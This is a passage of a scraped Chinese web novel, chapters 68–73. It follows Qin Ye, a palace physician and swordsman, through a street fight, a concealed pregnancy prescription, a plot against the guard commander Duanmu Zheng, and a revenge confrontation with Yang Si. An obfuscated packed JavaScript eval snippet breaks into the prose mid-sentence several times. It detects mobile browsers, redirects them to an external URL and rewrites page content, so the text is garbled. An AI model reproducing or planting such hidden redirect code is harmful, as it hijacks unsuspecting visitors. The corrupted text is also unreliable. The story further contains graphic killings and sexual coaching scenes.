“秦烨!”阳博玉从人群中走出,面色狰狞,“今晚,就是你的死期!” 柳霜华花容失色:“阳博玉,你要做什么?” “霜华,你退后。”秦烨轻轻推开柳霜华,目光在那些黑衣人身上扫过,“就凭这些杂鱼,也想取我性命?” 阳博玉狞笑一声:“狂妄!给我上,活要见人,死要见尸!” 黑衣人闻令而动,刀光剑影中,秦烨依旧从容不迫。他右手一翻,紫电剑凭空出现,剑身泛起淡淡红光。 “既然你找死,那我就成全你。”秦烨眼中闪过一丝寒芒。 剑光乍现,血花四溅。黑衣人的攻势看似凌厉,实则破绽百出。秦烨在人群中穿梭自如,每一剑都准确无误地刺中要害。 短短片刻,十几名黑衣人已倒下大半。剩下的人面露惊恐之色,不由自主地后退。 “怎么可能……”阳博玉瞪大双眼,难以置信地看着眼前这一幕。这些可都是他花重金请来的好手,怎么在秦烨面前如此不堪一击? 秦烨缓步向前,剑尖滴血:“现在,该轮到你了。” 阳博玉脸色煞白,转身就要逃跑,却被一道剑气拦住去路。他双腿一软,跪倒在地:“饶……饶命!我再也不敢了!” “晚了。”秦烨手腕一抖,紫电剑化作一道红光。 就在这千钧一发之际,一个洪亮的声音突然响起:“住手!” 众人循声望去,只见柳富金带着一队护卫匆匆赶来。他看了看满地的尸体,又看向秦烨,脸上露出复杂的表情。 “秦公子,此事到此为止如何?”柳富金拱手道,“阳家虽然不知天高地厚,但毕竟是本地大族。若是闹出人命,恐怕对谁都不好。” 秦烨收起紫电剑,淡淡道:“看在柳老板的面子上,今日饶你一命。”他看向瘫软在地的阳博玉,“若再有下次,就不是这么简单了。” 阳博玉连连点头,在手下的搀扶下狼狈离去。 柳霜华这才回过神来,美眸中异彩连连。她从未见过如此英姿飒爽的男子,一时间心跳加速,面若桃花。 “秦公子身手不凡,不知可否赏脸到寒舍一叙?”柳富金笑呵呵地说道。 秦烨看了眼柳霜华,见她眼中满是期待,便点头答应:“既然柳小姐盛情相邀,在下自当从命。” 夜色渐深,街道上灯火阑珊。一行人向柳府走去,谁也没注意到远处屋顶上,一道黑影正默默注视着这一切。 那人低声自语:“有意思,看来这小子的来历不简单啊……”说完,身形一闪,消失在夜色中。 司马府内,灯火通明。司马辉正在书房中查看一张药方,这是司马玉华从宫中送来的,要求家中药房按方抓药送入宫中。 药方上的字迹工整清晰,可内容却让司马辉感到蹊跷。他将药方翻来覆去地看了几遍,眉头越皱越紧。 “去请谭神医过来。”他唤来门外的下人,声音里带着几分急切。 不多时,一位白发苍苍的老者被请入府中。这位便是汴城名医谭神医,年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481745|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过九旬,长生养气秘术,深受达官贵人推崇。 “谭神医请看这方子。”司马辉将药方递过去,目光紧紧盯着老者的表情。 老者接过药方,随意扫了一眼,“这不过是调养身子的普通方子。” 话音未落,他突然神色一变,仔细端详起来。浑浊的眼睛渐渐亮起来,“妙!妙!妙啊!” 司马辉心中一动,“何处妙法?” “这方子巧妙地掩盖了真实用途。”谭神医赞叹道,手指轻轻点着药方上的几味药材,“老夫差点看走了眼。这里用桂枝掩人耳目,实则暗藏玄机……” “哦?那这方子究竟是……”司马辉强压着内心的激动。 “养胎之方。”谭神医笑着说出这三个字。 这三个字如惊雷般在司马辉耳边炸响。他强自镇定,手指微微颤抖,“原来如此,开方之人确实高明。” “何止高明,连老夫都差点看不出来。”谭神医捋着胡须,“这方子用药精妙,既能安胎养胎,又不露半点痕迹。开方之人医术之高,令人叹服。” 寒暄几句后,司马辉送走谭神医,独自站在书房中,激动得难以自持。烛光摇曳,在墙上投下他颤动的身影。 药方是从司马玉华那送来的,而开方的人是秦烨。这意味着什么? 意味着他的女儿已经怀上了皇帝的龙种!司马家即将诞下大周的第一位皇子! 想到未来可能会有一位带着司马家血脉的皇帝,司马辉的手不住地颤抖。他走到书房的窗前,望着夜空中的弦月,眼中闪烁着激动的泪光。 “多亏了秦烨啊……”他暗自感慨。若非秦烨帮助解决了陛下的隐疾,又在宫中悉心照料,传授种种生子秘诀,女儿也不会这么快就有了身孕。 这次还特意开了这么隐秘的方子,想必也是为了保护胎儿。司马辉越想越是欣慰,脸上的笑容怎么也掩饰不住。 他小心翼翼地将药方收好,吩咐下人按方抓药,务必要用最好的药材。 第六十九章 对付端木正 司马辉走到院中,眉头紧锁,脚步来回踱动。庭院里的花香萦绕,却丝毫无法缓解他此刻的烦闷。 “秦烨帮了这么大的忙,若是不表示一番,实在说不过去。”他喃喃自语,“可该赏些什么好呢?” 院中的石桌上摆着几件准备好的礼物:一柄百炼精钢打造的宝剑,一块上等的墨玉,还有几卷珍贵的古籍。但这些在司马辉看来,似乎都配不上秦烨的功劳。 “大人,”管家躬身走来,“要不要再去库房看看?” 司马辉摆了摆手:“不必了。”他抬头望向天际的明月,“这些俗物,怕是入不了秦大人的眼。” 与此同时,秦烨已经回到了承明殿。 推开沉重的殿门,扑面而来的是一股清冷的气息。殿内灯火通明,映照着正在批阅奏疏的女帝上官瑾。她连头都没抬,只是冷哼一声,手中的朱笔在奏章上重重划下一道。 昨日的不愉快仍在继续。空气中弥漫着一股难以言喻的压抑。 秦烨站在殿中,看着案前专注批阅的身影。那张清冷的面容上看不出任何情绪,只有朱笔划过纸张的沙沙声在殿内回响。 “陛下在看奏章?”秦烨开口,语气里带着几分刻意的疏离。 上官瑾这才抬起头,面容微带怒意,语气更是冰冷:“你眼睛瞎了不成?” “是啊,我瞎了。”秦烨毫不示弱地回怼,“看不见陛下的龙颜,也看不见陛下的心思。” 殿内的气氛骤然凝固。两人之间仿佛有一道无形的屏障,谁都不愿先低头。 一个太监战战兢兢地端着茶盘进来,看到殿内的气氛,吓得差点将茶盘摔在地上。他颤抖着将茶盘放在案几上,然后飞快地退了出去。 “陛下若无事,我先告退了。”秦烨转身就要离开。 “站住!”上官瑾的声音在身后响起。 秦烨停下脚步,嘴角微扬:“看样子陛下还有话想说。”他转过身,目光直视着那道高高在上的身影,“不过那件事就别提了。” “谁说朕要提那件事了?”上官瑾冷声道,手中的朱笔重重放在案几上,发出一声脆响。 秦烨走近几步,与她对视:“难道不是?” “朕要说的是端木正。”上官瑾放下手中的奏疏,语气中带着一丝凝重,“他已经对你动手了,此人不除,终是后患。” 殿内的烛火摇曳,在地上投下晃动的影子。一阵夜风从窗外吹来,带着几分凉意。 “端木正?”秦烨眼中闪过一丝精芒,“陛下是想换上自己的人?” 上官瑾没有回答,但那双凤眸中的意味不言而喻。她起身走到窗前,望着外面的夜色,背影显得有些孤寂。 “这事简单。”秦烨笑道,语气中带着几分胸有成竹。 “简单?”上官瑾转身,冷笑道,“他可是禁军总戎,手握重兵,朝中根基深厚,岂是那么容易对付的?” 秦烨不紧不慢地走到她身边:“陛下可知道禁军这些年的情况?” “什么情况?”上官瑾蹙眉。 “空饷。”秦烨轻描淡写地吐出两个字,目光却异常锐利。 上官瑾眼睛一亮,瞬间明白了秦烨的意思。她快步走回龙案前,提笔写下一道密令。 很快,影卫便带回消息,禁军确实存在大量空额,端木正中饱私囊多年,**数额惊人。 “你怎么知道得这么清楚?”上官瑾惊讶地看着秦烨。 “猜的。”秦烨神秘一笑,“这种事,见得多了自然就懂了。” “就算抓到他**,想要拿下他也不容易。”上官瑾皱眉道,“他在禁军经营多年,手下死士众多。” 秦烨神秘一笑:“若是他畏罪潜逃了呢?” 上官瑾一愣,随即明白了秦烨的意思。她再次派人去查探,果然发现端木**邸空无一人,像是人间蒸发了一般。 “人呢?”上官瑾追问。 “**。”秦烨淡淡道。 上官瑾赞许的点点头:“那就给他定个畏罪潜逃的罪名。” “陛下英明。” “少在这里拍马屁!”上官瑾没好气道,“你这奴才,朕是管不了了。行了,你退下吧。” “我就在这里陪陛下。”秦烨不动如山,找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481746|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个角落盘膝而坐。 殿内的烛火依旧明亮,照亮了女帝批阅奏章的身影,也照亮了角落里**的秦烨。时间在这一刻仿佛静止,只有微风轻拂,带来阵阵花香。 夜色深沉,繁星点点。 秦烨盘坐在殿内,周身内力流转,试图冲击更高的境界。灵气在经脉中游走,如涓涓细流般缓缓流淌,却始终无法突破那层若有若无的屏障。 他眉头微皱,调整呼吸的节奏,继续尝试突破。体内的内力如同潮水般涌动,一次次冲击着那道无形的壁垒。 “轰!” 内力在经脉中猛烈震荡,秦烨闷哼一声,嘴角溢出一丝鲜血。 “还是不行吗……”他擦去嘴角的血迹,有些无奈。 这已经是今晚第三次尝试突破了,每一次都在即将突破的关键时刻功亏一篑。 一旁批阅奏折的上官瑾时不时将目光投向了秦烨,几欲开口,却终是作罢。 殿外传来脚步声,打断了她的思绪。 “陛下,该翻牌子了。”太监尖细的嗓音透过门缝传来。 “滚!”上官瑾冷冷的声音从寝殿内传出,语气中带着明显的不耐烦。 太监的声音带着几分惶恐:“可是陛下,昨日也没有……” “你是聋了吗?朕说了不翻牌子!”上官瑾的语气更加冰冷,“再多嘴,小心你的脑袋!” 太监连连叩首,慌忙退下,脚步声渐渐远去。 秦烨听到这对话,不由得摇头轻笑。自从司马玉华怀孕的事情被发现后,上官瑾就一直在跟他冷战,连带着后宫侍寝都成了禁忌话题。 上官瑾被这事搅的内心愈发烦躁,索性独自进了寝殿,独留秦烨一人。 秦烨起身活动了下有些僵硬的筋骨,看向寝殿的方向。殿内一片漆黑,只有微弱的烛光透过窗棂洒落。 “这女人……”秦烨轻声自语,迈步向寝殿走去。 推开门时,一阵水声传来。顺着声音望去,浴室的方向隐约可见氤氲的水汽。 他放轻脚步,向浴室走去。黑暗中传来细微的水声,还有若有若无的幽香。 第七十章 留还是不留 推开浴室的门,水汽氤氲中,上官瑾正泡在池中。月光透过窗棂洒落,勾勒出她完美的身形。 “这么晚了还不休息?”秦烨笑着问道。 “你!”上官瑾猛地站起,水花四溅,“滚出去!” 她下意识地用手遮挡,但很快又意识到这个动作有多么可笑。她可是堂堂女帝,何须在意这些? “陛下这是在生什么气?”秦烨不紧不慢地说,“司马玉华的事,不是还没定论吗?” “你少在这里说风凉话!”上官瑾怒道,“这件事你难辞其咎!” “我怎么就难辞其咎了?”秦烨走近几步,“要不是你非要让我去应付那些后宫嫔妃……” “住口!”上官瑾打断他,声音有些颤抖,“你以为我愿意吗?那些大臣天天催着要皇嗣,我能怎么办?” 秦烨看着她气急败坏的样子,不禁莞尔:“所以你现在是在为难?要留还是不留?” “你……”上官瑾语塞,随即冷笑,“秦烨,你觉得很好笑是吗?” “我只是觉得,陛下何必为这种事烦恼。”秦烨正色道,“留与不留,不都是你一句话的事?” “你以为我是什么人?随意决定一个生命的去留?”上官瑾咬牙道,眼中闪过一丝痛苦。 水面泛起涟漪,映照着她复杂的神色。 “那你更在意的是什么?”秦烨反问,“是那个未出世的孩子,还是……” “够了!”上官瑾打断他,“你给我出去!” 秦烨却不为所动:“你我都清楚,这件事迟早要面对。后宫佳丽三千,总不能一直这样下去。” “那你说怎么办?”上官瑾冷声道,“让她们一个个都怀上你的种?然后生下来跟我争夺江山吗?” “原来你是在担心这个。”秦烨恍然。 “我没有!”上官瑾别过头,但眼中的慌乱却出卖了她。 “你有。”秦烨笑道,“否则也不会这些天都不翻牌子。” 上官瑾沉默不语,水面上的涟漪渐渐平息。 “其实解决的办法很简单。”秦烨缓缓道,“只要……” “我不想听!”上官瑾打断他,“你现在立刻给我出去!” “好,我出去。”秦烨转身,“不过陛下要记住,逃避解决不了问题。” “你!”上官瑾气得浑身发抖。 秦烨已经推门而出,留下上官瑾一个人在浴池中发呆。 水已经有些凉了,她却浑然不觉。这些天来的烦恼似乎都涌上心头:司马玉华的孩子、后宫侍寝、柔木氏公主即将进宫……每一件都让她头疼不已。 而最让她烦躁的,是那个总是一副无所谓样子的男人。 “秦烨……”上官瑾轻声念着这个名字,眼中闪过复杂的神色。 她想起第一次见到他时的场景。那时的他,还只是一个普通的太监。谁能想到,他居然成了自己最信任的人。 可是现在…… 上官瑾闭上眼,深深叹了口气。 第二天一早,上官瑾去上朝了。 秦烨则来到长春宫,为司马玉华诊脉。他仔细检查着她的脉象,眉头微皱:“娘娘最近睡眠可还安好?” 司马玉华摇了摇头,眼中带着疲惫:“总是做些乱七八糟的梦,醒来就记不清了。” “我明白了。”秦烨点点头,随后验看了从司马家取来的药材。确认无误后,他开始调配药方。 一边配药,秦烨一边暗自思忖。司马玉华的情况比他想象的要复杂,这背后恐怕另有隐情。不过现在不是追查的时候,还是先稳住她的病情要紧。 配完药后,秦烨叮嘱道:“娘娘记得按时服用,若有任何不适,随时召我。” 离开长春宫,秦烨径直前往玄铁会。 玄铁会内,赵马玄正如获至宝般把玩着紫电剑。这把剑来历颇为蹊跷,昨日拍卖会上,半路杀出个程咬金似的阳博玉,差点让赵马玄与此剑失之交臂。 谁知阳博玉当晚就死在了小巷里。由于他未付拍卖款,这剑便算作流拍。柳富金顺水推舟,把剑送给了赵马玄。 “赵兄,让我给你把把脉。”秦烨说道。 赵马玄依言伸出手腕,目光却始终没离开紫电剑。剑身上流转的紫光映在他脸上,显得格外诡异。 秦烨搭上脉门,仔细诊察。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481747|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻后,他点头道:“赵兄的身体已无大碍,想必很快就能有好消息了。” 一旁的商媛急切问道:“可是都喝了这么多天药了,怎么还没动静?”她的声音中带着几分焦虑和失落。 秦烨笑着为她解释了排卵期与安全期的关系,以及各种影响受孕的因素。 商媛听得目瞪口呆:“原来这事还有规律可循?” “不仅如此。”秦烨看了眼只顾摆弄宝剑的赵马玄,压低声音问商媛,“嫂嫂,冒昧问一句,你们平日里那个……都用什么姿势?” 商媛俏脸一红,但还是老实回答了。 秦烨听完直摇头,这赵马玄也太不解风情了。难怪商媛一直怀不上,就这么一个姿势,能行吗? “嫂嫂,我教你几个姿势。”秦烨指了指桌子,“就在这里演示。” 商媛虽然羞涩,但为了能尽快怀上孩子,还是按秦烨说的做。她婀娜的身姿在桌边摆动,看得秦烨不由得咽了咽口水。 秦烨站在那里,目光温和地看着商媛,耐心地讲解着:“嫂嫂,这事情讲究的是循序渐进,不能操之过急。就像练武一样,得一步一步来。” 商媛认真地听着,时不时点头。她身着一袭淡青色长裙,发髻高挽,显得端庄优雅。但此刻,她的眼中却闪烁着几分羞涩与期待。 “原来这种套路,竟然有这么多讲究。”商媛的声音轻柔,带着几分惊讶,“以前我都不知道……” 秦烨微微一笑:“男女之事,看似简单,实则大有学问。就拿呼吸来说,也是有讲究的。” 他示意商媛靠近些:“来,我教你一个小技巧。” 商媛犹豫了一下,还是向前迈了一步。她能感觉到秦烨身上传来的淡淡药香,这是常年炼丹留下的气息。 “要记住,”秦烨压低声音,“在关键时刻,要配合着对方的节奏……” 他的话还未说完,就见商媛的脸颊已经染上了一层红晕。那抹红色从脸颊一直蔓延到了耳根,像是晚霞染红了天际。 秦烨见状,心中暗笑。这位嫂嫂看起来端庄,实则内心羞涩得很。不过这样也好,至少说明她对赵马玄还是在意的。 第七十一章 指导嫂嫂 “嫂嫂,我看赵兄平日里对这些事情不太上心。”秦烨继续说道,“所以你得主动一些才行。男人嘛,有时候需要女人来点拨。” 热气随着话语喷在耳畔,商媛只觉得耳根发烫。她下意识地想要后退,却又强迫自己站在原地。 “可以先用唇舌,从胸口开始……”秦烨的声音更低了,“然后慢慢向下……” 商媛听得面红耳赤,却还是认真地记在心里。她知道,秦烨说的这些都是为了帮她。 “按我说的做,很快就能有好消息了。”秦烨笑着说,“到时候,赵兄一定会对你刮目相看。” “但愿如此。”商媛抿嘴一笑,眼中暗含期待。 这时,一直在研究紫电剑的赵马玄终于注意到了这边的动静。他抬起头,目光在两人之间来回扫视:“你们在说什么悄悄话?” 赵马玄身材魁梧,一身劲装勾勒出结实的肌肉线条。此刻,他手中握着紫电剑,剑身在烛光下泛着淡淡的紫光。 商媛见状,不由得皱起眉头。这个男人,整天就知道研究兵器,对自己的妻子却不闻不问。 “你倒是一点都不关心。”商媛嗔怪道,“贤弟传授了这么多,可不只是为了你。” 堂堂玄铁会帮主在妻子面前顿时变得乖巧起来。他放下手中的宝剑,讪笑道:“我这不是被紫电剑吸引住了嘛。再说了,夫人学会了不也可以教我?” “哼!”商媛别过头去,但嘴角却微微上扬。 秦烨看着这一幕,心中暗笑。这对夫妻感情倒是不错,就是赵马玄有些不解风情。不过经过自己这一番指点,想必今晚赵兄的身子怕是要吃不消。 “贤弟,”赵马玄看向秦烨,眼中带着几分歉意,“没什么事吧?” “没事,嫂嫂没生气。”秦烨笑着上前,从匣子里抽出紫电剑,“赵兄,我能借用几日吗?” 紫电剑出鞘的瞬间,一道紫光闪过,仿佛有火焰在剑身上流转。这把剑不愧是江湖中的名剑,单是这卖相就不同凡响。 “这个……”赵马玄有些犹豫,手指无意识地摩挲着剑鞘。这把剑他好不容易才得到,实在是舍不得离手。 商媛却直接说道:“贤弟喜欢就拿去用吧,我替他做主了。”她说这话时,目光意有所指地看了赵马玄一眼。 “嫂嫂,这不太好。”秦烨摇头,“赵兄这么喜欢,我借几日就够了。” “拿去吧,省得他整天对着剑发呆。”商媛说着,又瞪了赵马玄一眼。 秦烨大笑几声,看来今晚赵兄是在劫难逃了。 赵马玄无奈,只好将剑匣递了过去:“贤弟一定要小心保管。这把剑来之不易,可不能有闪失。” “放心,过几日就还。”秦烨说完,向两人告辞离去。 他刚走出书房,就听到身后传来一阵窸窸窣窣的声音。显然,商媛已经迫不及待地要实践他教的那些了。 秦烨摇头轻笑,脚步轻快地走出了玄铁会总舵。 秦烨离开玄铁会后,天机商行的议事堂内正上演着一场剑拔**张的对话。 五大长老齐坐一堂,其中阳四爷的脸色阴沉得能滴出水来。他死死盯着面前的茶杯,手指不断敲击着桌面,发出令人心烦的声响。茶水在杯中微微晃动,映照出他扭曲的面容。 “诸位可知道,昨日我儿阳博玉在拍卖会附近被人杀害?”阳四爷猛地抬头,目光如刀般扫过在座每个人。他的声音沙哑中带着一丝颤抖,显然已经强压着怒火许久。 大厅内一片寂静,其他长老面面相觑,暗自思忖。这阳博玉平日在汴城横行霸道,仗着阳家的势力为非作歹,不知得罪过多少人。如今横死街头,说不定还有人在暗自叫好。 “此事确实骇人听闻。”二长老钱晖轻抚胡须,缓缓开口道,“衙门那边可有什么线索?” “衙门?”阳四爷冷笑一声,“我何须靠那些吃闲饭的?凶手是谁,我心里清楚得很!” 他猛地站起身来,双手撑在桌上,青筋暴起:“就是那个在拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦烨靠在车厢内,手中把玩着那柄紫电剑。他的目光落在剑身上那道若隐若现的纹路上,眉头不自觉地皱起。 “这剑中究竟藏着什么秘密……”他轻抚剑身,指尖传来一丝温热。这柄剑自从落入他手中,就不断给他带来疑惑。每当他运转真气,剑身都会泛起异样的紫光,仿佛在回应着什么。 第七十二章 为儿报仇 街道上行人渐多,小贩的吆喝声此起彼伏。突然,马车猛地一个急刹,秦烨身形晃动,手中的紫电剑差点脱手。 “怎么回事?”他沉声问道,语气中带着不悦。 车夫颤抖着声音回答:“公……公子,前面有人拦路……” 秦烨掀开车帘,寒风灌入车厢。只见前方站着一群人,为首的是个面容狰狞的老者,身后跟着十几个手持兵器的打手。那些人虎视眈眈地盯着马车,眼中杀意毕露。 几个打手身上隐约有真气波动,气息凌厉。秦烨眯起眼睛,心中暗自盘算【这些人应该都是六品境界的武者,实力不容小觑。】 “姓秦的,你的好日子到头了!”老者突然怒吼一声,声音中充满仇恨。 秦烨缓缓起身,嘴角勾起一抹冷笑。他整了整衣袍,从容地走下马车。青石板上还带着晨露,有些湿滑。 “你是谁?”他淡淡问道,语气中听不出丝毫波动。 老者双眼通红,死死盯着秦烨:“我是阳四!你杀了我儿子阳博玉,今天我要让你生不如死!” “原来是阳博玉的父亲。”秦烨轻笑一声,“你儿子自己送上门来找死,怪得了谁?” “混账东西!”阳四暴怒,脸上的皱纹都扭曲起来,“你以为赵马玄能保得住你?给我上,把他给我抓住,我要让他尝尽人间痛苦!” 周围的打手纷纷举起兵器,缓缓向秦烨逼近。刀光剑影中,杀气弥漫。路边的行人见状纷纷躲避,有人惊慌失措地跑去报官,但显然阳四早已打点好了衙门。 秦烨摇头叹息:“非要逼我出手……” 街道上杀气弥漫,一场恶战一触即发。 “住手!”一声暴喝划破长空,震得街边的茶摊小贩都不由得一颤。 马蹄声由远及近,车轮碾过青石板路面发出沉闷的轰鸣。柳富金的马车疾驰而来,扬起的尘土在阳光下形成一片金色的帘幕。 街边的行人纷纷避让,交头接耳议论着这突如其来的动静。有人认出了马车上的徽记,低声惊呼:“是汴城商会的柳会长!” 阳四眯起眼睛,目光如刀般锐利。他原本正准备对秦烨动手,此刻不得不暂缓脚步,冷冷地看着这个不速之客:“柳会长,你来这里做什么?” 马车停稳,柳富金大步跨下。他今日身着一袭藏青色锦袍,腰间玉带流光溢彩。尽管已年过半百,但举手投足间依旧透着不容小觑的气势。 “秦公子是我的朋友。”柳富金站定,目光扫过在场众人,最后落在阳四身上,“谁要动他,就是与我柳富金为敌!” 秦烨靠在墙边,嘴角挂着若有若无的笑意。他倒要看看,这位汴城商会的会长,究竟有多大能耐。 “哈哈哈!”阳四仰天大笑,笑声中充满讥讽,“柳会长,你可知道这小子做了什么?他杀了我儿子!今日,我非得要他的命!” 说到儿子,阳四的声音陡然拔高,脸上青筋暴起。他身后的打手们也纷纷握紧了兵器,蓄势待发。 “你那不成器的儿子,死有余辜。”柳富金冷声道,目光如铁,“我劝你适可而止。” 阳四脸色骤变,额头上的青筋更加明显:“好一个柳富金,你身为汴城商会会长,不替我们商会成员做主,反倒帮着外人?” 秦烨轻笑一声,从怀中缓缓掏出一枚玉牌。阳光下,玉牌表面流转着温润的光泽。他在众人面前晃了晃:“谁说我是外人?” 玉牌上的纹路清晰可见,那是汴城商会名誉会长的身份象征。周围顿时响起一片倒吸冷气的声音。 柳富金瞳孔微缩,心中掀起惊涛骇浪。他本想拉拢秦烨入会,没想到对方早已是商会中的重要人物。这一刻,他甚至有些庆幸自己及时赶到。 “不可能!”阳四瞪大双眼,不可置信地盯着那枚玉牌,“你一个毛头小子,怎么可能……” 话未说完,他突然注意到玉牌上若隐若现的“钱”字,顿时大喜过望:“哈!原来是偷来的钱家玉牌!” 秦烨不置可否,只是淡淡道:“要动手就快点,我没工夫跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481749|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这耗着。” 街边的茶客们屏息凝神,生怕错过任何细节。有人悄悄打赌,猜测这场争斗的结果。 就在剑拔**张之际,远处又传来一阵急促的马蹄声。街角转出一辆华贵的马车,车帘上绣着钱家的家徽。 钱有德和钱欢从马车上跳下,快步走到秦烨身边。钱有德身着官服,举止间透着威严;钱欢则一身锦衣,眼中闪烁着兴奋的光芒。 “秦公子,您没事吧?”钱有德关切地问道,目光却警惕地扫视四周。 秦烨微微一笑:“无妨,只是有人想取我性命罢了。”他的语气轻松,仿佛在谈论今日的天气。 钱有德闻言,目光如刀般射向阳四:“好大的胆子,竟敢对秦公子不敬!” 阳四额头渗出冷汗,但仍不甘心:“钱大人,这小子偷了您家的玉牌,还害**我儿子……” “住口!”钱有德厉声打断,“你那逆子,死有余辜!” 一旁的钱欢也冷笑道:“就是,活该!”他的声音中带着几分幸灾乐祸。 秦烨看着这一幕,心中暗笑。这些人为了讨好自己,还真是不遗余力。不过,他也清楚,这些人更多是看中了他背后的势力。 街边的茶客们面面相觑,显然没想到事态会如此发展。有人小声议论:“这位秦公子究竟是什么来头?” 阳四脸色阴晴不定,目光在众人之间游移。他没想到,一个看似普通的年轻人,竟然能让汴城商会的会长和钱家人如此维护。 “怎么?还想动手?”秦烨轻描淡写地问道,目光中带着几分戏谑。 阳四磨牙切齿,握紧的拳头青筋暴起:“你们真要为了这小子,与我阳家为敌?” “阳家算什么东西?不过是一群仗势欺人的蠢货罢了。”钱欢冷笑一声,眼神不屑。 初春的风还带着几分寒意,街道上行人稀少。远处传来一阵急促的马蹄声,由远及近,越来越清晰。 “来了。”钱有德放下手中的茶杯,目光投向街道尽头。 第七十三章 众人解围 众人不约而同地抬头望去,只见一道黑影疾驰而来。马背上的人影矫健有力,在接近茶楼时一个翻身,稳稳地落在地上。扬起的尘土还未散去,那人已经大步流星地走到了阳四面前。 “砰!” 来人一把抓住阳四的衣领,将他提了起来。阳四双脚离地,脸色瞬间变得煞白。 “你敢动我兄弟?”赵马玄的声音低沉而充满威胁。作为玄铁会帮主,他的到来让在场所有人都不由自主地绷紧了神经。 阳四额头渗出细密的汗珠,他万万没想到赵马玄会来得这么快。挣扎了几下,却无法挣脱赵马玄的钳制。 “赵帮主……”阳四声音有些发颤,“这秦烨杀了我儿子阳博玉!我找他报仇,有什么不对?难道赵帮主要为了一个外人,与我阳家为敌?” “你那个畜生儿子,”赵马玄冷笑着,“要不是我兄弟动手,迟早也是我亲自送他上路。**正好,你若识相,赶紧滚!” 阳四被赵马玄的话激怒,脸上青一阵白一阵。他咬牙切齿道:“给我上!杀了这个秦烨!” 赵马玄眉头微皱,松开了阳四的衣领。他本不想见血,但阳四这是在自寻死路。 几个六品武者面面相觑,谁也不敢轻举妄动。赵马玄的实力他们心知肚明,有他在场,谁敢造次?冷汗顺着他们的额头滑落,打湿了衣襟。 “怎么?”赵马玄环视一周,目光如刀,“都成了缩头乌龟?” 阳四见状,终于意识到今日怕是难以报仇。他深吸一口气,语气软了下来:“赵帮主,此事就此作罢如何?” “作罢?”赵马玄冷哼一声,声音中带着讥讽,“你还没向我兄弟道歉呢!” 阳四脸上火辣辣的,多年来养尊处优,何曾受过这等**?他的手指不自觉地攥紧,指甲深深陷入掌心。 这时,柳富金上前一步,打圆场道:“阳四,事已至此,不如道个歉,大家也好收场。” 阳四咬了咬牙,低下了高傲的头颅:“秦公子,老朽多有得罪,还请恕罪。” “恕罪?”秦烨冷笑,目光如刀般锐利,“你觉得一句道歉就够了?” 阳四猛地抬头,没想到秦烨竟敢不给这个台阶。他的眼中闪过怒火,但很快就被压了下去。 赵马玄默不作声,静静地看着这一切。柳富金也看出了秦烨眼中的杀意,不再多言,悄悄退到一旁。 钱有德和钱欢对视一眼,都从对方眼中看到了然。这个年轻人,远比他们想象的要难对付得多。 “秦公子,面子都是互相给的。”阳四向身后的家丁和六品高手使了个眼色,声音中带着几分威胁。 几个人缓缓向秦烨靠近,准备护送阳四离开。他们的手已经按在了腰间的兵器上,随时准备出手。 “互相给面子?”秦烨冷冷道,目光扫过那些蠢蠢欲动的武者,“像你这种人,今日放你离开,明日就会派**来暗杀。我可没兴趣整日防着你。” 说着,秦烨挥了挥手,动作轻描淡写,却带着不容置疑的意味。 这时,黑暗的角落处走出一个魁梧的男人,这人正是武勇。 武勇会意,上前两步。他的身形看似随意,却给人一种山岳般的压迫感。 几个六品高手连忙赔笑:“兄弟,何必如此?” “我武勇在此,想护他,先过我这关!”武勇身上爆发出一股强大的气势,五品巅峰的威压瞬间笼罩全场。 几个六品武者顿时喘不过气来,仿佛有一座大山压在胸口。他们这才意识到眼前这人实力深不可测,哪是他们能对付的? “四爷,对不住了。”几个武者纷纷后退,脸上写满了惶恐。 阳四面如土色,双腿发软,几乎站立不稳。而赵马玄却露出惊讶之色:“敢问兄台高姓大名?” 